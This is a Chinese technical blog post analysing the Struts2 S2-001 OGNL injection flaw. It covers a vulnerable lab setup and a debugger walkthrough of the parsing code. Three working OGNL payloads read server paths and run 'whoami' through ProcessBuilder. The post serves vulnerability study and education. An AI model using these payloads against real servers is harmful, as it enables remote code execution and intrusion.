Struts2 远程代码执行漏洞S2-001分析

自 Struts2 在 2007 年爆出第一个远程代码执行漏洞 S2-001 以来,在其后续的发展过程中不断爆出更多而且危害更大的远程代码执行漏洞,而造成 Struts2 这么多 RCE 漏洞的主要原因就是 OGNL 表达式。这里以 Struts2 的第一个漏洞 S2-001 为例来对 Struts2 远程代码执行漏洞进行学习

OGNL 简介

首先来了解 OGNL 表达式,OGNL(Object Graphic Navigatino Language)的中文全称为“对象图导航语言”,是应用于Java中的一个开源的功能强大的表达式语言(Expression Language),它被集成在Struts2等框架中,通过简单一致的表达式语法,可以存取对象的任何属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。

OGNL进行对象存取操作的API在Ognl.java文件中,分别是getValue、setValue两个方法。getValue通过传入的OGNL表达式,在给定的上下文环境中,从root对象里取值:

img

setValue通过传入的OGNL表达式,在给定的上下文环境中,往root对象里写值:

img

OGNL同时编写了许多其它的方法来实现相同的功能,详细可参考Ognl.java代码。OGNL的API很简单,无论何种复杂的功能,OGNL会将其最终映射到OGNL的三要素中通过调用底层引擎完成计算,OGNL的三要素即上述方法的三个参数,分别是表达式(expression)、根对象(root)、Context对象。

下面先通过一个简单的案例来描述其作用:

首先定义一个 Student 类,该类有 3 个属性 name、studentNumber 和 theClass,同时为 3 个属性编写 get 和 set 方法

image-20240104150320040

然后定义一个 TheClass 类,该类有两个属性:className 和 school,同样也为两个属性编写 get 和 set 方法:

image-20240104150354740

最后定义一个 School 类,该类只有一个属性 schoolName

image-20240104150416719

通过如下操作将这 3 个类实例化并为其属性一一进行赋值,最后通过使用 OGNL 表达式的方式取出指定的值

image-20240104162028698

image-20240104162035483

image-20240104165934990

在不使用 OGNL 表达式的情况下,如果要取出 schoolName 属性,需要通过调用对应的 get 方法,但是当我们使用 OGNL 的 getValue,只需要传递一个 OGNL 表达式和根节点就可以取出指定对象的属性,非常方便。

image-20240104170202910

更多OGNL表达式的知识参考:

https://xz.aliyun.com/t/225

https://jueee.github.io/2020/08/2020-08-15-Ognl%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/

https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

Struts2 的执行流程

首先来简单了解 Struts2 的执行流程。官方提供的 Struts2 的架构如图:

image-20240104175655466

在该图中,一共给出了四种颜色的标识,其对应的意义如下。

  • Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
  • Struts Core(浅蓝色):Struts2的核心部分。
  • Interceptors(浅绿色):Struts2的拦截器。
  • User created(浅黄色):需要开发人员创建的部分。

图中的一些组件的作用如下:

  • FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
  • ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
  • ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
  • ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
  • struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
  • ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
  • Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
  • Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
  • Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
  • Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
  • Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。

接下来我们可以结合上图,来了解下Struts2框架是如何处理一个HTTP请求的。

当HTTP请求发送个Web服务器之后,Web服务器根据用户的请求以及 web.xml 中配置的Filter,将请求转发给 Struts2 框架进行处理。

  1. HTTP请求经过一系列的过滤器,最后到达 FilterDispatcher 过滤器。
  2. FilterDispatcher 将请求转发 ActionMapper,判断该请求是否需要处理。
  3. 如果该请求需要处理,FilterDispatcher会创建一个 ActionProxy 来进行后续的处理。
  4. ActionProxy 拿着HTTP请求,询问 struts.xml 该调用哪一个 Action 进行处理。
  5. 当知道目标Action之后,实例化一个ActionInvocation来进行调用。
  6. 然后运行在Action之前的拦截器,图中就是拦截器1、2、3。(所有的默认拦截器都存储在 ActionInvocation 对象的 interceptors 属性中,并通过 hasNext 方法依次进行调用) (那么 Struts2 默认的拦截器都有哪些,并且定义在哪里呢?Strut2-core.jar 包中有 一个 struts2-default.xml 文件,这里配置了 Struts2 默认情况下要执行的拦截器)
  7. 运行Action,生成一个Result
  8. Result根据页面模板和标签库,生成要响应的内容。
  9. 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。

S2-001 漏洞原理分析

官方公告:https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8

S2-001的漏洞原理是模板文件(JSP)中引用了不合适的标签进行渲染,并且渲染的值是用户可控的,此时则达成了表达式注入的目的。

漏洞环境搭建

Apache Tomcat/8.5.46+struts-2.0.8

首先在idea安装Struts2插件

image-20240105135120779

然后New Project创建Struts2项目,Libraries选择Set up library later

image-20240105135405643

下一步之后填写项目名称即可创建起一个struts2 project

image-20240105135449904

下载struts-2.0.1-all

在项目目录WEB-INF下新建lib文件夹,将所需要的jar包从下载目录中导入到lib文件夹下

将全部jar包选中,右键Add as Library

image-20240105135839315

image-20240105135928689

填写一个Library Name

image-20240105140004524

然后File->Project strutsure,然后在Modules下选中struts2-001

image-20240105140149595

之后再在Artifactsstruts2-001put into output root,完成后点击OK.

image-20240105140337776

之后创建Tomcat server

image-20240105140652791

之后,运行即可看到一个struts2项目启动成功。

image-20240105140750019

因为漏洞是在表单验证失败时发生的,这里继续编写一个表单验证的Demo,以复现漏洞。
WEB目录下修改index.jsp

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
  <title>Sign On</title>
</head>

<body>
<s:form action="Login">
  <s:textfield label="username" name="username"/>
  <s:textfield label="password" name="password" />
  <s:submit/>
</s:form>
</body>
</html>

然后新建welcome.jsp

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

src下新建com.demo.actionpackage

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class Login extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

修改struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="s2" extends="struts-default">
        <action name="Login" class="com.demo.action.Login">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

之后即可运行程序出现登陆Demo

image-20240105142704228

漏洞复现

1、获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image-20240105150932275

2、获取web目录

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image-20240105151009405

3、执行命令

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20240105151032298

漏洞分析

该漏洞是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。

我们在OGNL表达式原生API getValue处下断点,该方法用于解析OGNL表达式并返回表达式的值。

image-20240105152539440

下断后便可发送payload%{1+1},直到在断点处出现我们的payload,此时在调用栈中即可看到漏洞发生的整个过程。

image-20240105152756045

下面我们就来逐步分析一下:

首先,判断%{1+1}是在何时被执行的,我们将断点设置在 LoginAction 的 setPassword 和 getPassword 方法上

image-20240105153059801

image-20240105152928010

然后,根据最开始的struts工作流程图可以知道在一个http请求进来后,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如 struts.xml文件中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

struts2-core-2.0.1.jar/struts-default.xml 中可以找到默认使用的拦截器栈 defaultStack

image-20240105175247882

在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。

image-20240105175350884

该拦截器对应的权限定类名是 com.opensymphony.xwork2.interceptor.ParametersInterceptor,该拦截器会通过调用对应 Action 的 setter 方法来为其属性进行赋值;最后,对赋值进行判断,如果 password 的值为“%{1+1}”,则证明代码执行的行为发生在执行 Action 之后;如果 password 的值为 2,则证明代码执行的行为发生在 Action 执行之前。通过这种简 单的判断就可以减少漏洞点的搜索范围:

image-20240105153432320

通过在此处设置断点,可以看到直到赋值完成,“%{1+1}”仍没有被执行,这就意味着截止到执行完 ParametersInterceptor 拦截器为止,没有代码执行的行为发生。

接下来是执行 Action 的 execute 方法,最终结果是返回“error”字符串

image-20240105154351011

根据Struts2整体执行流程

image-20240105154141706

Action执行完毕后的步骤是操作对应的模板页面,当LoginAction的execute方法返回“error”字符串时,Struts2要去解析的模板页面是index.jsp。

Struts2 支持多种模板引擎(freemarker、jsp、util、velocity、xslt),jsp 只是其中一种。所以在真正开始解析之前,Struts2 还需要判断开发人员使用的模板引擎种类,从而调用对应的类和方法。

负责处理 JSP 的类是 org.apache.struts2.views.jsp.ComponentTagSupport。解析会从 第一个 Struts2 标签即<s:form action="Login">开始,当解析到 ComponentTagSupport 类时,首先被调用的方法就是 doStartTag 方法,该方法的代码如下图所示。除 doStartTag 方法外,ComponentTagSupport 中还有一个 doEndTag 方法,一个是解析标签开始时调用,另一个是解析到标签闭合时调用。

image-20240105160542026

ComponentTagSupport 是一个抽象类。由于首先被解析的是一个 Struts2 Form 标签,org.apache.struts2.views 有一个与 Form标签对应的实体类,类名为 FormTag,是 ComponentTagSupport 的子类。虽然当前断点设置在 ComponentTagSupport 的 doStartTag 方法上,其实是子类在调用父类方法,因为当前对象是 FormTag 对象:

image-20240105161159632

我们跳过 Form 标签的解析,因为关键点并不在这里。 解析完 Form 标签后会解析 textfield 标签,这两个标签的细节如图

image-20240105161255794

首先解析第一个 textfield 标签,关键的步骤在 doEndTag 方法中。首先会调用 this.component.end 方法

image-20240105161449933

然后执行到 UIBean 类的 evaluateParams 方法。该方法用来判断标签中有哪些属 性,例如当前 textfield 标签中有两个属性:一个是 name 属性,另一个是 lable 属性, 判断这两个属性的代码如图

image-20240105162146082

我们的标签里编写了 name 属性,第一个 if 判断的结果为 true,但是该 name 属性并不是关键点,因此我们跳过第一个 if 判断,直接来到第二个 if,判断标签是否有 label 属性,跟进 this.findString 方法。

image-20240105162539462

经过一系列的嵌套调用,最终执行 TextParseUtil 类的 translateVariables 方法。这里就是导致漏洞产生的核心问题所在,我们可以先看一下该函数是如何处理一个正常的请求数据的。

image-20240105163132238

首先观察当前的变量和值

image-20240105163304273

接下来是 translateVariables 方法的部分代码

image-20240105163405604

首先会进入一个 while 循环,该循环的作用是判断 label 属性的值是否以“%{” 开头,目的是判断其是不是一个 OGNL 表达式,如果是则返回的值为 0,不是则返回值为-1。然后根据 expression.indexOf 方法的返回值进入下一个判断。第二个 while 循环是为了判断“{”与“}”的数量是否相等,相等则 count 的值为 0;由于 label 属性的值是字符串“username”,不包括“%{”,start 值为-1,count 值为 1,因此第二个 while 循环无须执行。最终 if (start == -1 || end == -1 || count != 0)判断结果是为 ture,return的结果如图

image-20240105164747614

返回值仍是字符串 username,返回结果到 UIBean 类的 evaluateParams 方法。当 判断完所有属性后,evaluateParams 方法中执行了一个操作,即将字符串拼接“%{}” 成为一个 OGNL 表达式“ %{username} ”,然后再带入 TextParseUtil 类 的 translateVariables 方法中,如下图。

image-20240105170612346

image-20240105170708451

这样做的目的是最终通过反射调用LoginAction 对象的 getUsername 方法,从而获取存储在 LoginAction 对象中 username 属性的值。

最终获取到的值为 1,也就是我们通过前端传入的 username 的值。但是接下来Sturts2的操作会出现问题,获取到admin后又对其进行了一次判断,判断该admin 是不是 OGNL 表达式。相信大家已经意识到,这个 admin 是通过前端传入的,是可控的,那么可不可以将参数由字符串“1”替换成一个 OGNL 表达式?

我们在 password 栏中进行了这样的尝试,继续分析,前期直到拼接处理%{password}从 LoginAction 中获取 password 的值为止都是相同的,问题就出在获取到 password 的值之后

image-20240105173738953

password 的值为%{1+1},按照程序执行流程,会先判断其是不是一个以“%{” 开头的 OGNL 表达式。%{1+1}自然是符合的,start 最后的值为 0,end 的值为 5,count 的值为 0,所以会执行到 stack.findValue 这一步,将%{1+1}当作表达式来执行,后续的执行会涉及 OGNL。

image-20240105174157551

findValue 调用 getValue

image-20240105174427731

getValue执行OGNL表达式

image-20240105174333027

参考

java代码审计入门之s2-001复现分析 | Boogle’s Blog (zhengbao.wang)

https://lanvnal.com/2020/12/15/s2-001-lou-dong-fen-xi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/294542.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

UE相关杂项笔记

1.PAK包解析 UE4如何反向查找Pak里面包含哪些文件 - 哔哩哔哩 CMD控制台命令输入 D:&quot;Epic Games&quot;\UE_5.1\Engine\Binaries\Win64\UnrealPak.exe 包路径 -list *文件夹带空格时 添加“ ”包裹住文件夹名 解包工具路径 UE引擎安装路径\UE_5.1\Engine\Binarie…

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例&#xff1a; android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK&#xff0c;实现app流量变现 Ability页面的生命周期 学习前端&#xff0c;第一步最重要的是要理解&#xff0c;页面启动和不同场景下的生命周期的…

unity中0GC优化方案《zstring》

文章目录 序言简介GC带来的问题性能瓶颈玩家体验受损 使用方式 序言 游戏开发秉承遇到好东西要分享&#xff0c;下面介绍zstring&#xff0c;感谢作者开源无私奉献 源码地址&#xff1a;https://github.com/871041532/zstring 简介 GC带来的问题 性能瓶颈 GC暂停主线程执行…

c# 学习笔记 - 委托(Delegate)

文章目录 1. 委托1.1 委托概述1.2 委托使用1.3 委托的传播 2. 匿名方法2.1 匿名方法概述2.2 匿名方法 1. 委托 1.1 委托概述 委托简介 委托就是对方法的引用&#xff0c;可以理解为例如整型变量的容器可以存储整形数据&#xff0c;委托就是某种方法的容器&#xff0c;可以用来…

C语言算法(二分查找、文件读写)

二分查找 前提条件&#xff1a;数据有序&#xff0c;随机访问 #include <stdio.h>int binary_search(int arr[],int n,int key);int main(void) {}int search(int arr[],int left,int right,int key) {//边界条件if(left > right) return -1;//int mid (left righ…

全球海洋数据 (GLODAP) v2.2023(海洋碳数据产品)

全球海洋数据分析项目 (GLODAP) v2.2023 全球海洋数据分析项目 (GLODAP) v2.2023 代表了海洋生物地球化学瓶数据合成方面的重大进步。此更新主要关注海水无机碳化学&#xff0c;以 GLODAPv2.2022 为基础&#xff0c;包含多项关键增强功能。值得注意的是&#xff0c;增加了 43 …

test 系统学习-04-test converate 测试覆盖率 jacoco 原理介绍

测试覆盖率 测试覆盖率(test coverage)是衡量软件测试完整性的一个重要指标。掌握测试覆盖率数据&#xff0c;有利于客观认识软件质量&#xff0c;正确了解测试状态&#xff0c;有效改进测试工作。 当然&#xff0c;要发挥这些作用&#xff0c;前提是我们掌握了真实的测试覆盖…

如何使用Docker本地部署一个开源网址导航页并分享好友公网使用

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

Golang里空结构体struct{}的介绍和使用

s t r u c t struct struct是 G o l a n g Golang Golang里的关键字&#xff0c;用于定义结构类型 比如 type Student struct{id intname string }struct{}是有 0 0 0个元素的结构体. struct{}{}表示类型struct{}的值为空{} 1.性质 1.1不占用内存 大小为 0 0 0&#xff0c;…

java中常用的日期API

目录 LocalDateTime类&#xff08;日期时间&#xff09; DateTimeFormater&#xff08;格式化器&#xff09; Period类&#xff08;计算日期间隔&#xff09; Duration类&#xff08;计算时间间隔&#xff09; 本章我要讲的是JDK 8中新增的时间API&#xff0c;因为传统的时间…

【源码预备】Calcite基础知识与概念:关系代数概念、查询优化、sql关键字执行顺序以及calcite基础概念

文章目录 一. 关系代数的基本知识二. 查询优化三. SQL语句的解析顺序1. FROM2. WHERE3. GROUP BY4. HAVING5. SELECT 四. Apache Calcite中的基本概念1. Adapter2. Calcite中的关系表达式2.1. 关系表达式例子2.2. 源码底层结构 3. Calcite的优化规则4. Calcite的Trait--算子物理…

RS485模块常识的解析

1. RS485数据采集模块常识 a) RS485总线基本特性 根据RS485工业总线标准&#xff0c;RS485工业总线为特性阴抗120Ω的半双工通讯总线&#xff0c;其最大负载能力为32个有效负载&#xff08;包括主控设备与被设备&#xff09; b) RS485总线传输距离 当使用0.56mm(24AWG)双绞线作…

rabbitmq延时队列相关配置

确保 RabbitMQ 的延时消息插件已经安装和启用。你可以通过执行以下命令来安装该插件&#xff1a; rabbitmq-plugins enable rabbitmq_delayed_message_exchange 如果提示未安装&#xff0c;以下是安装流程&#xff1a; 查看mq版本&#xff1a; 查看自己使用的 MQ&#xff08;…

Sectigo与Geotrust ov多域名证书的区别

Sectigo和Geotrust都是比较知名的CA认证机构。其中&#xff0c;Sectigo原名Comodo&#xff0c;在2018年整合SSL证书业务&#xff0c;改名为Sectigo&#xff0c;旗下的SSL证书产品根证书也变为Sectigo。Geotrust则是另一个备受信任的数字证书品牌&#xff0c;现在是Digicert旗下…

不会代码(零基础)学语音开发(语音控制舵机)

舵机是一种位置(角度)伺服的驱动器,适用于那些需要角度不断变化并可以保持的控制系统。 舵机,作为模块系列S产品的四大重要组件之一,其在应用中发挥着十分重要的作用。舵机常使用的地方&#xff1a;航模&#xff0c;智能小车&#xff0c;机器人&#xff0c;以及工业领域等等 这…

锐捷 | 策略路由

一、组网要求 1&#xff09;三层交换机的192.168.2.0/24网段访问外网固定走172.16.1.1这条线 2&#xff09;三层交换机的192.168.3.0/24网段访问外网固定走172.16.2.1这条线 二、组网拓扑 三、配置要点 1、根据规划&#xff0c;在设备接口上配置IP地址 2、配置OSPF进程 3、所…

第五周:深度学习知识点回顾

前言&#xff1a; 讲真&#xff0c;复习这块我是比较头大的&#xff0c;之前的线代、高数、概率论、西瓜书、樱花书、NG的系列课程、李宏毅李沐等等等等…那可是花了三年学习佳实践下来的&#xff0c;现在一想脑子里就剩下几个名词就觉得废柴一个了&#xff0c;朋友们有没有同感…

不能错过的AI前沿开源工具!

&#x1f308;&#x1f308;&#x1f308;&#x1f308;&#x1f308;&#x1f308;&#x1f308;&#x1f308; 欢迎关注公众号&#xff08;通过文章导读关注&#xff1a;【11来了】&#xff09;&#xff0c;及时收到 AI 前沿项目工具及新技术 的推送 发送 资料 可领取 深入理…

【软件测试】2024年准备中/高级测试岗技术面试...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、软件测试基础知…